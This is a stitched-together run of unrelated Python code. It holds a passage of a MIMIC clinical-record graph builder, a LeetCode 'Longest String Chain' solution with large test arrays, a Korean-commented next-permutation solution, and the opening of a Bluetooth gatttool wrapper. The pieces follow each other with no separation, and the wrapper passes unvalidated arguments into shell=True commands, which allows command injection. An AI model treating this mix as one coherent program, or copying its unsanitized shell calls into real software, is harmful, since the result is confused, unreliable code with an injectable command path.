                        for ev in ev_dict[table]:
                            procedures_set.add(ev.code)
                            visit_procedure_edges.append((ev.visit_id, ev.code))
                    if table.upper() == "PRESCRIPTIONS":
                        # Load prescriptions
                        for ev in ev_dict[table]:
                            prescriptions_set.add(ev.code)
                            visit_prescription_edges.append((ev.visit_id, ev.code))
                    if table.upper() == "LABEVENTS":
                        # Load prescriptions
                        for ev in ev_dict[table]:
                            labevents_set.add(ev.code)
                            visit_labevent_edges.append((ev.visit_id, ev.code))

        # Convert sets to dicts
        visits_dict = self.set_to_dict(visits_set)
        diagnosis_dict = self.set_to_dict(diagnosis_set)
        procedures_dict = self.set_to_dict(procedures_set)
        prescriptions_dict = self.set_to_dict(prescriptions_set)
        labevents_dict = self.set_to_dict(labevents_set)

        # Load graph indices
        patient_visit_edges = [(patients_dict[p], visits_dict[v]) for (p, v) in patient_visit_edges]
        visit_diagnosis_edges = [(visits_dict[v], diagnosis_dict[d]) for (v, d) in visit_diagnosis_edges]
        visit_labevent_edges = [(visits_dict[v], labevents_dict[l]) for (v, l) in visit_labevent_edges]
        visit_procedure_edges = [(visits_dict[v], procedures_dict[l]) for (v, l) in visit_procedure_edges]
        visit_prescription_edges = [(visits_dict[v], prescriptions_dict[l]) for (v, l) in visit_prescription_edges]

        # Create graph data
        graph_data = {}

        def update_edges(head, rel, tail, edges):

            graph_data.update(
                {
                    (head, rel, tail): (
                        torch.tensor([e[0] for e in edges]),
                        torch.tensor([e[1] for e in edges])
                    )
                }
            )

        update_edges("patient", "makes", "visit", patient_visit_edges)
        update_edges("visit", "diagnosed", "diagnosis", visit_diagnosis_edges)
        update_edges("visit", "prescribed", "prescription", visit_prescription_edges)
        update_edges("visit", "treated", "procedure", visit_procedure_edges)
        # update_edges("visit", "occurs", "labevent", visit_labevent_edges)

        # Save mappings
        self.mappings = {
            "patient": patients_dict,
            "visit": visits_dict,
            "diagnosis": diagnosis_dict,
            "procedure": procedures_dict,
            "prescription": prescriptions_dict,
            # "labevent": labevents_dict
        }

        with open(f'{self.graph_path}{self.dataset_name}_entity_mapping.pkl', 'wb') as outp:
            pickle.dump(self.mappings, outp, pickle.HIGHEST_PROTOCOL)

        return graph_data

    def set_tasks(self):

        mort_pred_samples, drug_rec_samples, los_samples, readm_samples = self.get_sample_datasets()

        vm = self.mappings["visit"]
        n_nodes = self.graph.num_nodes("visit")
        mort_labels = torch.zeros((n_nodes))

        # Assign mortality status
        mort_pred = {}
        for s in mort_pred_samples:
            visit_id = s["visit_id"]
            mort_pred.update({vm[visit_id]: s["label"]})

        # Assign drug recommendations
        drug_rec = {}
        all_drugs = {}
        for s in drug_rec_samples:
            visit_id = s["visit_id"]
            drug_rec.update({vm[visit_id]: s["drugs"]})

        # Assign length of stay
        los = {}
        for s in los_samples:
            visit_id = s["visit_id"]
            los.update({vm[visit_id]: s["label"]})

        # Assign readm_samples
        readm = {}
        for s in readm_samples:
            visit_id = s["visit_id"]
            readm.update({vm[visit_id]: s["label"]})

        labels = {
            "mort_pred": mort_pred,
            "drug_rec": drug_rec,
            "all_drugs": drug_rec_samples.get_all_tokens("drugs"),
            "los": los,
            "readm": readm
        }

        self.save_labels(labels)

    def get_sample_datasets(self):
        if "mimic3" in self.dataset_name:
            mort_pred_samples = self.dataset.set_task(mortality_prediction_mimic3_fn)
            drug_rec_samples = self.dataset.set_task(drug_recommendation_mimic3_fn)
            los_samples = self.dataset.set_task(length_of_stay_prediction_mimic3_fn)
            readm_samples = self.dataset.set_task(readmission_prediction_mimic3_fn)
        elif "mimic4" in self.dataset_name:
            mort_pred_samples = self.dataset.set_task(mortality_prediction_mimic4_fn)
            drug_rec_samples = self.dataset.set_task(drug_recommendation_mimic4_fn)
            los_samples = self.dataset.set_task(length_of_stay_prediction_mimic4_fn)
            readm_samples = self.dataset.set_task(readmission_prediction_mimic4_fn)
        else:
            raise ValueError

        return mort_pred_samples, drug_rec_samples, los_samples, readm_samples

    def get_mimic_dataset(self):
        with open(f'{self.cache_path}{self.dataset_name}', 'rb') as inp:
            unp = pickle.Unpickler(inp)
            mimic3_ds = unp.load()

        return mimic3_ds

    def save_mimic_dataset(self, mimic3_ds=None):
        if mimic3_ds is None:
            mimic3_ds = self.dataset
        # Save a copy to cache
        with open(f'{self.cache_path}{self.dataset_name}.pkl', 'wb') as outp:
            pickle.dump(mimic3_ds, outp, pickle.HIGHEST_PROTOCOL)

    def save_graph(self):
        with open(f'{self.graph_path}{self.dataset_name}.pkl', 'wb') as outp:
            pickle.dump(self.graph, outp, pickle.HIGHEST_PROTOCOL)

    def load_graph(self):
        with open(f'{self.graph_path}{self.dataset_name}', 'rb') as inp:
            unp = pickle.Unpickler(inp)
            g = unp.load()

        return g

    def save_labels(self, labels):
        with open(f'{self.graph_path}{self.dataset_name}_labels.pkl', 'wb') as outp:
            pickle.dump(labels, outp, pickle.HIGHEST_PROTOCOL)

    @staticmethod
    def set_to_dict(s):
        return {e: i for i, e in enumerate(s)}


#
# @lc app=leetcode id=1048 lang=python3
#
# [1048] Longest String Chain
#
# https://leetcode.com/problems/longest-string-chain/description/
#
# algorithms
# Medium (57.87%)
# Likes:    3546
# Dislikes: 167
# Total Accepted:    209.7K
# Total Submissions: 361.9K
# Testcase Example:  '["a","b","ba","bca","bda","bdca"]'
#
# You are given an array of words where each word consists of lowercase English
# letters.
#
# wordA is a predecessor of wordB if and only if we can insert exactly one
# letter anywhere in wordA without changing the order of the other characters
# to make it equal to wordB.
#
#
# For example, "abc" is a predecessor of "abac", while "cba" is not a
# predecessor of "bcad".
#
#
# A word chain is a sequence of words [word1, word2, ..., wordk] with k >= 1,
# where word1 is a predecessor of word2, word2 is a predecessor of word3, and
# so on. A single word is trivially a word chain with k == 1.
#
# Return the length of the longest possible word chain with words chosen from
# the given list of words.
#
#
# Example 1:
#
#
# Input: words = ["a","b","ba","bca","bda","bdca"]
# Output: 4
# Explanation: One of the longest word chains is ["a","ba","bda","bdca"].
#
#
# Example 2:
#
#
# Input: words = ["xbc","pcxbcf","xb","cxbc","pcxbc"]
# Output: 5
# Explanation: All the words can be put in a word chain ["xb", "xbc", "cxbc",
# "pcxbc", "pcxbcf"].
#
#
# Example 3:
#
#
# Input: words = ["abcd","dbqca"]
# Output: 1
# Explanation: The trivial word chain ["abcd"] is one of the longest word
# chains.
# ["abcd","dbqca"] is not a valid word chain because the ordering of the
# letters is changed.
#
#
#
# Constraints:
#
#
# 1 <= words.length <= 1000
# 1 <= words[i].length <= 16
# words[i] only consists of lowercase English letters.
#
#
#
from itertools import chain
from typing import List
from algo_input import run
from types import MethodType

# @lc code=start
class Solution:
    MAX_WORD_LENGTH = 16

    # N = len(words), M = max(len(words[i]))
    # O(N * M**2) time complexity
    # O(N * M) space complexity
    def longestStrChain(self, words: List[str]) -> int:
        if not words:
            return 0
        # Bucket sort the words using length of words
        buckets = [[] for _ in range(Solution.MAX_WORD_LENGTH + 1)]
        dp = {}
        res = 0
        for w in words:
            buckets[len(w)].append(w)
        for w in chain.from_iterable(buckets):
            value = max(
                dp.get(w[:idx] + w[idx + 1:], 0) for idx in range(len(w))) + 1
            dp[w] = value
            res = max(res, value)
        return res

# @lc code=end
if __name__ == "__main__":
    run(
        MethodType(Solution.longestStrChain, Solution()),
        [
            [[["a", "b", "ba", "bca", "bda", "bdca"]], 4],
            [[["xbc", "pcxbcf", "xb", "cxbc", "pcxbc"]], 5],
            [[["abcd", "dbqca"]], 1],
            [[["a"]], 1],
            [[[
                "uiykgmcc", "jrgbss", "mhkqodcpy", "lkj", "bwqktun", "s",
                "nrctyzifwytjblwy", "wrp", "scqlcwmxw", "irqvnxdcxoejuu",
                "gmlckvofwyifmrw", "wbzbyrcppaljigvo", "lk", "kfeouqyyrer",
                "efzzpvi", "ubkcitcmwxk", "txihn", "mdwdmbtx", "vuzvcoaif",
                "jwmboqvhpqodsj", "wscfvrfl", "pzye", "waxyoxftvrgqmkg",
                "wwdidopozinxxn", "dclpg", "xjsvlxktxs", "ajj", "pvsdastm",
                "tatjxhygidhn", "feafycxdxagn", "irqvnxxoeuu", "kwjo",
                "tztoovsyfwz", "prllrw", "sclmx", "bbmjnwaxcwaml", "gl",
                "wiax", "uzvcoaif", "ztovyfwz", "qxy", "zuexoxyp", "qxyyrl",
                "pvsdasvtm", "femafycxdxaagn", "rspvccjcm", "wvyiax", "vst",
                "efzi", "fjmdcc", "icsinrbpql", "ctybiizlcr", "ntyzfwytjblw",
                "tatjxhygidhpn", "e", "kykizdandafusu", "pnepuwcsxl",
                "kfeuqyyrer", "afplzhbqguu", "hvajtj", "prll", "ildzdimea",
                "zueoxp", "ezi", "lqr", "jkaagljikwamaqvf", "mlzwhkxsn",
                "rspvccbcjjtcm", "wscfvrl", "m", "msygukwlkrqboc",
                "pifojogoveub", "bkcmwx", "jercgybhss", "wrpi",
                "aicsinkgrbpqli", "aplzbuu", "sclcmxw", "atpepgsz",
                "govrcuuglaer", "bdxjpsvlxkytxs", "uikgm", "bm", "wvyhiqax",
                "znvaasgfvqi", "hatpepgsz", "hrzebpa", "bnfz", "lybtqrfzw",
                "taxhygihn", "bjnfzk", "mhqp", "ide", "znvcaasgfvqi", "ftv",
                "afplzhbqsguuu", "thn", "pdbccbe", "mxevopfoimgjww",
                "fjmdrcce", "rspvccjjcm", "jv", "motnfwohwule", "xjsvlxtxs",
                "bqeb", "eug", "jftavwgl", "rzebpa", "lybtqrfazw", "zuexoxp",
                "jercgybhsys", "hajtj", "bkcitcmwxk", "mbpvxsdastvtm",
                "mowlznwhkxsn", "dvenn", "rsacxe", "tatjxhygihn",
                "cotybiizlcr", "bbmnaxaml", "pkwrpsi", "nqpdbccbkxens",
                "mbpbovxsdastvtm", "mj", "pxpsvikwekuq", "qeug", "dmelddga",
                "aicsinkgrbpxqli", "bdxjpsvlxktytxs", "pkrllrxw",
                "jkgljikwmaqf", "iddie", "ctybiizcr", "nyzfwytjblw",
                "yvuhmiuehspi", "keuqre", "wzbypaigvo", "sck", "uzcoaf",
                "dlpg", "ubkcpitlscmwxk", "molzwhkxsn", "pepuwcsxl", "laplm",
                "dclpgc", "mahkxqodcpy", "sclcmx", "hvrzebpaz",
                "bgovrcuuglaer", "clazpulmw", "yvuyhmiuehspiq",
                "wzbycpaljigvo", "sceqalciwmxw", "hjytflmvsgv", "u",
                "hjyvxytfflhmvsgv", "jkgjikwmaqf", "fefycxdxagn", "ftvw",
                "ofncgxrkqvcr", "spvcjc", "pvsdastvtm", "kykzdandaus",
                "wbzbycppaljigvo", "haytpepgsz", "jmowlznwhkxsn", "aplzhbguu",
                "zvyz", "nfvqi", "jfvtavwsgl", "xejnllhfulns", "zhhvbiqiw",
                "jkgljikwmaqvf", "tyizc", "irqvnxcxoejuu", "clvazzpulmw",
                "oncgxrqvcr", "qlupvpdkhrm", "mtnfwohwule", "wwdidopzozinxxn",
                "auiykgmcc", "wscfvrfyl", "pfksmrullrxw", "jwmoqvhpqods",
                "ftavwg", "iddiea", "kcmw", "ykkwjwo", "pe", "aplzbguu", "eu",
                "bbmnaxal", "ntyswtnlab", "zhhhvbhbiqiw", "jwmoqvpqods",
                "kykzdndaus", "bbmjnaxcwaml", "zunvcaasgfvqi", "icsingrbpql",
                "sceqalciwmsxyw", "yvuhmiuehsp", "bxjsvlxktxs",
                "waxoxftvrgqmkg", "cogxxpaknks", "scllvazzpulmw",
                "tatjxhygeidhpn", "ftvwg", "tyz", "nafvqi", "oby", "pgzpkhqog",
                "irqvnxxoejuu", "oxwpkxlakcp", "bnf", "oxwnpkxlakcp", "bwqktu",
                "ufybbaozoqk", "ntydswtnlab", "zvyfz", "znaafvqi", "npdbccbke",
                "mhkqocpy", "kuq", "bjnfz", "taxhyihn", "kwrpsi",
                "qifepmcatbdjlf", "lzwhks", "kfeuqre", "mxevopfoimgww",
                "spvcjcm", "oncgxrkqvcr", "jftavwsgl", "soifcbya", "jpzyeg",
                "jwmboqvhpqods", "lapulm", "jrgbhss", "xejfnllhfulns",
                "zhhhvbbiqiw", "km", "kuqre", "scxlzlvazzpulmw", "ztvyfwz",
                "wbzbycpaljigvo", "rzbpa", "vsastm", "uybaooqk", "dn",
                "ykwjwo", "ufybmvbaozoqk", "nknm", "mbpvsdastvtm",
                "dpgzpxykhqog", "wzbypajigvo", "bnjnfzk", "eollbigtftpdrd",
                "zhbiqiw", "yvuhiuehp", "zhhhvbhbiqiwg", "pfksrullrxw",
                "pzyeg", "aplzhbqguu", "z", "hvrzecbpazw", "clvazpulmw",
                "tajxhygihn", "pgzpxykhqog", "fefyxdxagn", "wimomuvhn",
                "lqrzw", "xejnlhfulns", "jhrc", "xsxxs", "slmx", "jrgss",
                "uikgmc", "ncgqvcr", "womuhn", "aryouvtnmme", "uzco",
                "zhhhvbiqiw", "hjytflhmvsgv", "znvaasfvqi", "kuqr", "ojrpp",
                "ztoovyfwz", "zvz", "pxpsviweuq", "ufybaooqk", "xy",
                "jfvvtavwksvgl", "raiachv", "bmnaxl", "rspvccjjtcm",
                "pgzpxkhqog", "xhbtfnqebaj", "sceqalciwmsxw", "jssctk",
                "uzvcoaf", "fefydxagn", "jhrvc", "mbj", "raiahv",
                "nrtyzifwytjblwy", "mhqcp", "jkgjkwmaqf", "wscfvrfylhi",
                "lqrz", "ahabucermswyrvl", "wxoxftvrgqmkg", "ku", "uyaoq",
                "mhqocp", "ykwjo", "vstm", "ofncgxrkqvcwr", "dqvh", "taxyihn",
                "idie", "bwqtu", "tztoovyfwz", "rspvcccjjtcm", "uojrpp",
                "wmomuhn", "cotycbiizlxcr", "nrtyzfwytjblw", "ocbya",
                "sceqlciwmxw", "ajtj", "rspvccbcjjthcm", "kfeuqyyre",
                "dmelddg", "txyihn", "ubkcitlscmwxk", "ntyswtnla",
                "bdxjpstvlxktytxs", "odqdvbh", "pxpsvikeewekuq", "mdwdmbdtux",
                "vs", "bma", "wzbypigvo", "qxyy", "vsstm", "hbtnqeba",
                "hrzebpaz", "xhbtfnjsqebbaj", "ahaucermswyrv", "ddmbtx",
                "zhhbiqiw", "pxpsvikewekuq", "odqdvgbh", "bxjpsvlxktxs",
                "jsck", "fjmdc", "mdwdmbdtx", "jqxyyrl", "pxpsvikweuq",
                "ctybizcr", "dqvbh", "lpl", "lqrfzw", "ufybaozoqk",
                "znvaafvqi", "yvuhmiuehp", "hvrzebpazw", "pfksrllrxw", "alzuu",
                "xjsvxtxs", "afplzhbqguuu", "icsingrbpqli", "hjxytflhmvsgv",
                "femafycxdxagn", "uyaoqk", "gmlckvofwyifrw", "cinrbpql",
                "jrcgbhss", "oxwpkxlkcp", "jkagljikwamaqvf", "eollbigtftpdrdy",
                "rspvcjcm", "socbya", "clapulm", "qeb", "kwrpi", "efzpi",
                "hbtfnqebaj", "kykizdnandafusu", "sclvazzpulmw", "efzzpvvi",
                "jfvvtavwsvgl", "mhqocpy", "v", "mbpbvxsdastvtm", "irqvnxouu",
                "hvaajtj", "ofnlcgxrkqvcwr", "hbtqeba", "hbtqeb", "jwmqpds",
                "ntrnlhujdslco", "zv", "npdbccbken", "mhp", "ddb", "prllw",
                "mddmbtx", "clazpulm", "cogxxpaknkse", "bkitcmwxk",
                "oxwpklkcp", "tyiz", "jwmqvpqods", "waxyoxftvrgqmkgb",
                "afplzhbbqsgujuu", "bwtu", "jercgbhss", "rsacx", "mahkqodcpy",
                "cotycbiizlcr", "ahabucermswyrv", "lupvpkhr", "dvnn", "b",
                "atpepsz", "ncgxqvcr", "qe", "ubkcitlcmwxk", "lyqrfzw",
                "wimomuhn", "bbmnaxl", "motnfwohrwule", "yvuyhmiuehspi",
                "jfvvtavwsgl", "rac", "fefdxagn", "bwqkctun", "uotjrpp",
                "ddbtx", "afplzhbbqsguuu", "xss", "xsxs", "wvyiqax",
                "kykizdandaus", "npdbccbkens", "r", "oxwnpkxjlakcp",
                "tzmteoovsyfwz", "kykizdnandafuspu", "ahabulcermswyrvl",
                "xjsxxs", "qxyyr", "ck", "xhbtfnqebbaj", "nqpdbccbkens",
                "mpvsdastvtm", "zuexqoxyp", "gmlkvofwyifrw", "kmw", "txhn",
                "kykizdandausu", "molznwhkxsn", "lupvpdkhr", "jwmqvpds",
                "bktcmwx", "wyiax", "hzvaajtj", "ddbx", "pifojogveub",
                "naafvqi", "motnfwjohrwule", "odqvbh", "aicsingrbpqli",
                "jopzyeg", "lybtqrfazrw", "pijogveub", "xzejfnllhfulns",
                "scxllvazzpulmw", "irqyvnxdcxfoejuu", "cogxpaknks", "pdkwrpsi",
                "wzbycpajigvo", "xjsxtxs", "irqvnxdcxfoejuu", "xhbtfnjqebbaj",
                "uybaoqk", "oncgxqvcr", "aj", "pepuwsxl", "lytqrfzw", "nkm",
                "jrgs", "pkrllrw", "wscfvrfyli", "bbmjnaxcaml", "jftavwg",
                "vuzvcozaif", "pifjogveub", "cmogxxpaknkse", "cinrbql",
                "scqlciwmxw", "ztvyfz", "mxyevopfoimgjpww", "soicbya",
                "lupvpdkhrm", "ahaucermsyrv", "ufybmvbaouzoqk",
                "bdxjpsvlxktxs", "hjxytfflhmvsgv", "hjvxytfflhmvsgv",
                "nqpdbccbzkxens", "wr", "kykzdndus", "iddimea", "fjmdrcc",
                "efzzpi", "vsdastm", "btqeb", "pfkrllrxw", "ocby",
                "irqvnxxouu", "ildzpdimea", "lzwhkxsn", "ilddimea",
                "ufybvbaozoqk", "mxyevopfoimgjww", "jhr", "kcmwx", "dvn",
                "uzcof", "glw", "hbtnqebaj", "riahv", "w", "qeugv", "kfeuqyre",
                "ilrdzpdimea", "lplm", "icinrbpql", "scqlcmxw", "bbmjnaxaml",
                "e", "rsac", "bf", "jwmqvpqds", "tzteoovsyfwz", "rc",
                "lzwhkxs", "jkgljikwamaqvf", "tybizc", "aplzuu",
                "nrtyzifwytjblw", "pze", "bktcmwxk", "uiykgmc", "jsctk",
                "npdbccbe", "tybizcr"
            ]], 15],
            [[[
                "qyssedya", "pabouk", "mjwdrbqwp", "vylodpmwp", "nfyqeowa",
                "pu", "paboukc", "qssedya", "lopmw", "nfyqowa", "vlodpmw",
                "mwdrqwp", "opmw", "qsda", "neo", "qyssedhyac", "pmw",
                "lodpmw", "mjwdrqwp", "eo", "nfqwa", "pabuk", "nfyqwa",
                "qssdya", "qsdya", "qyssedhya", "pabu", "nqwa", "pabqoukc",
                "pbu", "mw", "vlodpmwp", "x", "xr"
            ]], 8],
            [[[
                "brwbne", "otixjfysmyjuwf", "yvnhnlbdeqcbazbj", "mezjcgr",
                "vhzfhpsnsea", "nlcj", "gzsgzput", "hqmhdrfqscasni", "wuepe",
                "dvqqabnobvhgqj", "ujrlukpvukgs", "pnxoagc", "oixjfysmuf",
                "vyrv", "qgxxbc", "ivfyrwvnipzj", "ebzrjz", "fzjq",
                "ijtrxgnkw", "cktgcqlfv", "utjrlukgpvukgs", "tclf", "sidvq",
                "npyolrgguid", "mdotbuot", "nrjaxkzsfek", "ujrkvuks", "whpj",
                "xfpfzjq", "rhjhdie", "qmhdss", "eamvlkwq", "invp",
                "njaxkzsfek", "mebvdidzaveyx", "hqmhdfqscsni", "ivyrwvnipzj",
                "zennejgi", "iwujepfes", "senzxcmjofsinag", "uafwwwhg",
                "tvgygpmscwc", "vaeyrhkcf", "ceskvurcmzb", "zenngi",
                "bwkpebmpgfhy", "ivfyrwvnipzjd", "ycofhg", "xyiacxzhnac",
                "dqxlsbfdmyn", "npyolrgqguiwd", "ultcahoyz", "ivyrvnizj",
                "pbshtsoeuo", "rjhdie", "hqmhdqscsi", "rrgdj", "yoggpjr",
                "pybbpn", "xacxzac", "irxkgpmpv", "xfazpfjkzjsgq",
                "bdidzaveyx", "eogdhhi", "pnoagc", "mybbrkwsbnuxje",
                "senzxmjofsinag", "ivyrviz", "bze", "epevejifzvkud", "rbe",
                "nirjaxkzswfek", "azsjb", "ceskvburcmzb", "pybshtsoetuot", "r",
                "rkmp", "ah", "xfyazpfjkzjsgqj", "npyolrgguiwd", "xiacxzhnac",
                "qxhvdxibyqjsnom", "pybbkkpnjd", "xxb", "cxrcyxuhlzcll",
                "iyejuejeqn", "mdotbuoqt", "cbwaxyv", "cf", "jgebzrjz",
                "ebzrz", "kcazotwzfalckzey", "kwujgyxnsactcov", "evq", "asjb",
                "hqmhdscsi", "senzxjfsiag", "arkhfjhfxduiee", "byzlqte",
                "pnaxoragc", "skfpnaxoragc", "yevq", "oijfymuf", "oixjfymuf",
                "yoggjpjrq", "ivyrvz", "skfpnwaxoragc", "rmp", "si", "xazac",
                "kfixgt", "mdtuot", "dvnqxlgsbfdmyn", "spnaxoragc",
                "mebvdidzacveyxf", "f", "xffzjq", "jqztcybler", "jtrgk",
                "ulahoyz", "epevejxifzvvkqud", "yoggjpjr", "bzlqte",
                "cqazysjb", "vyv", "srswyftkzn", "bz", "uawwhg", "meizjcgr",
                "vaeyrhykchf", "ohhi", "bwkpebmpgfuhy", "kfixggt", "imc",
                "brwbnue", "vaeyrhkchf", "xfazpfjkzjsgqj", "mdotbguoqt",
                "jebzrjz", "utjrlukgpmvukgs", "gzsgzpu", "tvgygpmqskcwc",
                "epy", "xaza", "cofg", "avhlkzneu", "ayrhkf", "ijtrxgxnkw",
                "yciofhg", "bgnkclvr", "eoghhi", "arkhfjhfxduigeve",
                "kfixggty", "tetmllxujt", "qgigwnrfatzcr", "hqmhdfqscasni",
                "tetmlnlxujt", "zeyhnvt", "uqdpolfskzamh", "ic", "cbx",
                "uqdpofskzamh", "bebmpgy", "aeyrhkcf", "xfapfjkzjsgq",
                "vqbnobvhqj", "ctetmlnlxujt", "siv", "mbbrwbnuxe",
                "arkhfjhduiee", "uawh", "ijmlc", "rhjhdiee", "ebz", "xaxzac",
                "cebwaxyv", "amdovftbguoqtp", "ijtrgk", "yevqzy",
                "kwujgyxnsctcov", "mybbrkwsjbnuxje", "avnhlkzneu",
                "dqxlbfdmyn", "pcebwaxyv", "ecqazyspjb", "oijfymf", "yolrggui",
                "fqnwxughwwrhq", "pbshtsoetuo", "wpj", "qgigwnrrfatzcr",
                "nlbcabj", "srsytkzn", "xgiwoujepfes", "mdotbguoqtp",
                "xfapfjzjsgq", "wvbvp", "ibtaj", "pybbkpnj", "zennegi",
                "eamvlwq", "nlcaj", "bzcdbh", "mebvdidzacveyixf", "nxkzsfe",
                "bebmpghy", "zehnt", "vysrv", "yggpr", "dqldmy", "nxkzsfek",
                "iwuepes", "ctgcqlfv", "bzlte", "cavnjhlkzneu", "zengi",
                "kskfpnwaxoragc", "cx", "ttjayafyp", "cskvurcmzb",
                "qxhvxibyqjsom", "vymlkrdihcvjqpaw", "rergtdjn",
                "qgigvwnrcrfatzcr", "arhjhdiee", "qazsjb", "tr", "srskzn",
                "ijtrgnk", "yolrgui", "rjhdi", "pnaxoagc", "giwujepfes",
                "pnoag", "wuepes", "irkmpv", "ycofg", "iwujepes", "ey",
                "ezmsorpmyhkbmy", "yrougjygjpjrq", "srsowyftkzn",
                "xsgiwoujepfes", "dvqabnobvhgqj", "arkhjhduiee", "engi",
                "arhjhduiee", "xgyiacxzhnac", "utjrlukpvukgs", "msjtvckwvnvsm",
                "yciofhgp", "epevejifzvvkqud", "jfdwhhndlxuq", "eq",
                "kskfpnwalxoragc", "mbvdidzaveyx", "mdtut", "vnlbecabj",
                "etmllxujt", "qgigvwnrrfatzcr", "byzlqtel", "ayrhf",
                "ecqazysjb", "brbe", "wujgyxnsctcov", "vnnlbecabj", "iemsb",
                "yrougjykgjpjryq", "ivv", "mjvcknsm", "ctzetmlnlxujt",
                "tztjayafyp", "mjvckwvnsm", "vysrvq", "hqmhdrfbqscasni",
                "yvnnlbdeqcabj", "knkxazq", "amdoftbguoqtp", "mtut",
                "msjtvckwvnsm", "mjvcknm", "cxcxuhlzcll", "mtt", "yrogjgjpjrq",
                "irxkmpv", "vnlbcabj", "ezmsorpmyhakbmy", "ivvz", "dqldmyn",
                "jvcknm", "srseowytfktkzn", "mdtbuot", "re", "ujrukvuks",
                "arkhfjhxduiee", "jvcnm", "mebvdidzacveyx", "cxcyxuhlzcll",
                "yogjgjpjrq", "ujrkvuk", "xfpfjzjq", "vnnlbdecabj",
                "dvqxlgsbfdmyn", "bzte", "pna", "cbwxy", "susidvq",
                "ujrukvukgs", "gkclv", "knkxoazq", "cavnjhlokzneu",
                "vzhpsnsea", "yvnnlbdeqcazbj", "pbshtsoetuot", "ctclfv",
                "gzsgpu", "iemb", "qxxb", "nlcabj", "epgy", "srswytkzn",
                "cbwxyv", "naxkzsfek", "wnqc", "egi", "ezmsorpmyhbmy",
                "oixjfysmyuwf", "ctcqlfv", "xb", "jgebzrjzf", "usidvq",
                "irkmp", "skpnaxoragc", "nyolrggui", "jfdwhuhndlxuuq", "v",
                "enzxjfsiag", "yvnhnlbdeqcazbj", "qnwxwrhq", "vnnlbdeqcabj",
                "yevqz", "mybbrkwbnuxje", "gxgyiatcxzhnsac", "dvqqabnobvhgqjw",
                "nyolrgguid", "kfixiggty", "pybbkpnjd", "oixjfysmyjuwf",
                "qmhdscs", "ayrh", "dvqbnobvhqj", "iyejuedjeqn", "yoggpr",
                "ujrlukvukgs", "qnwxghwrhq", "emb", "srsykzn", "fzq",
                "ayrhkcf", "pybpn", "mjvckvnsm", "whgpj", "jfdwhhndlxuuq",
                "kfixiaggty", "a", "amdosvftbguoqtp", "mybbrkwsjbhnuxje",
                "gxgyiacxzhnsac", "xfapfjzjgq", "pbshtsoeu", "iyejuedsjeqn",
                "cof", "mbbrkwbnuxje", "qgxxb", "jvcm", "kfixt", "mtr",
                "pybbpnj", "iyejuedssjeqn", "oixjfysmuwf", "bwkebmpghy", "arh",
                "dvqxlsbfdmyn", "lahoyz", "nirjaxkzsfek", "amdotbguoqtp",
                "cbwx", "hqmhdqscsni", "nqc", "mbbrwbnuxje", "mbrwbnue",
                "motr", "ebzz", "sivq", "msjvckwvnsm", "xslgiwoujepfes",
                "ivyrvniz", "b", "ujgyxnsctcov", "zehnvt", "ctclf", "ohh",
                "oghhi", "xgyiacxzhnsac", "wvbp", "cskvurczb", "bwkpebmpghy",
                "ultahoyz", "uafwwhg", "xfapfjzjq", "brbne", "ffllbydeziobquh",
                "ivyvz", "ivyrvnipzj", "rveguibaoc", "rhdi", "bepgy",
                "vhzhpsnsea", "dqlbdmyn", "mbbrwbnue", "ahlkzneu", "ei",
                "xiacxznac", "motrp", "cavnhlkzneu", "iv", "gnkclvr",
                "rvguibaoc", "ctzqetmlnlxujt", "bkgnkclvr", "dvqabnobvhqj",
                "epevejifzvkqud", "uawhg", "sj", "xfyazpfjnkzjsgqj",
                "ijtrxgnk", "meizcjcgr", "jloaw", "giwoujepfes",
                "qxhvdxibyqjsom", "jgyxnsctcov", "srsowytfktkzn", "ijmc",
                "dqxlbdmyn", "rbzcdbh", "irxkgmpv", "hh", "eamvwq",
                "bkebmpghy", "srsowyfktkzn", "fqnwxughwrhq", "nirjaxkzswifek",
                "ffzjq", "tvgygpmqscwc", "mbdidzaveyx", "gnkclv",
                "kskfpnwalxoragcy", "hqmhdscs", "fq", "pnag", "av",
                "yrougjgjpjrq", "qazysjb", "xacxznac", "jkwujgyxnsactcov",
                "qnwxughwrhq", "sskzn", "senzxjofsinag", "arkhfjhfxduieve",
                "qnwxgwrhq", "jqztccybler", "bebpgy", "tvgygpmqskcwcb",
                "iyejuejeq", "sjb", "rergtdj", "invcp", "rrgtdj", "j",
                "mezjcg", "senzxjfsinag", "yrougjygjpjryq"
            ]], 16],
        ],
    )


#10972
import sys

input = sys.stdin.readline

n = int(input())
a = list(map(int, input().split()))
for i in range(n - 1, 0, -1):
    if a[i - 1] < a[i]: #타겟 찾기, 추후에 바꿔줘야함
        target = i - 1
        break
else:
    print(-1)
    sys.exit()

for i in range(n - 1, 0, -1):
    if a[target] < a[i]: #target값보다 클경우
        a[target], a[i] = a[i], a[target] #swap
        a = a[:target + 1] + sorted(a[target + 1:]) # 1,3 이정해지면 뒤는 sort되어서 나옴
        print(*a)
        break

#N의 범위를 보았을때 백트래킹으로 풀면 안됨
"""
visited = [False]*(N+1)
combilist = []
combi =[]
def track():
    if len(combi) == N:
        combilist.append(list(combi))
        return

    for i in range(1,N+1):
        if not visited[i]:
            visited[i] = True
            combi.append(i)
            track()
            visited[i] = False
            combi.pop()

track()
for i in range(len(combilist)):
    if cinput == combilist[i]:
        if combilist[i] == combilist[-1]:
            print("-1")
        else:
            print(" ".join(map(str,combilist[i+1])))
"""


#!/usr/bin/env python3
import sys
import re
import subprocess

import pandas as pd

#universal code
def char_desc(mac):
    """Same as gatttool --char-desc. Add mac address as argument"""
    cmd = "gatttool --device={} --char-desc".format(mac)
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    result = process.communicate()[0]
    result = result.decode("utf-8").strip()
    handles=[]
    uuids=[]
    lines = result.split("\n")
    for line in lines:
        handle, uuid = line.split(", ")
        handles.append(handle.split("= ")[-1])
        uuids.append(uuid.split("= ")[-1])
    combine = zip(handles, uuids)
    return list(combine)

def char_read(mac, handle):
    """Same as gatttool --char-read. Add mac address and handle as argument"""
    cmd = "gatttool --device={} --char-read --handle={}".format(mac, handle)
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    result = process.communicate()[0]
    result = result.decode("utf-8").strip()
    values = result.partition(": ")[-1]
    return values

def char_write_req(mac, handle, value):
    """Same as gatttool --char-write. Add mac address,handle and value as argument"""
    cmd = "gatttool --device={} --char-write-req --handle={} --value={}".format(mac, handle, value)
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    result = process.communicate()[0]
    result = result.decode("utf-8").strip()
    values = re.search("successfully", result)
    if values:
        print(result)
        return None

#extra for display all char_read
class MACcontent(object):
    def __init__(self, mac):
        self.mac = mac

